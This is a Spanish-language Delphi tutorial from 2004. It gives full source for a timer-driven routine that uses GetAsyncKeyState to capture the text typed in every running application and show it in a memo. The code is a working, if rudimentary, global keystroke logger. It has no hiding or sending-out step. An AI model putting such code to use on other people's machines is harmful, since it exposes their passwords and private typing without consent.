Lenguaje de programación Borland Delphi
Este procedimiento captura el texto pulsado en todas las aplicaciones en que se escriba. Sólo captura texto, no captura teclas especiales: Control, Alt, ... Para ello utilizaremos un temporizador (TTimer) que tendrá la propiedad Interval = 1 y Enabled = True, también utilizaremos un memo (TMemo) donde mostraremos las teclas pulsadas. El código que captura las pulsaciones de las teclas irá en el evento Timer del temporizador:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
if (KeyLoop >= 65) and (keyloop <= 90) then
Memo1.Text := Memo1.Text + Chr(keyloop);
if (keyloop >= 32) and (keyloop <= 63) then
Memo1.Text := Memo1.Text + Chr(keyloop);
if keyloop = 8 then
Memo1.Text := copy(Memo1.Text,1,Length(memo1.Text) - 1);
//códigos para números
if (keyloop >= 96) and (keyloop <= 105) then
Memo1.Text := Memo1.Text + Chr(keyloop-48);
end;
inc(keyloop);
until keyloop = 255;
end;
end.
Publicado el: 2004-11-05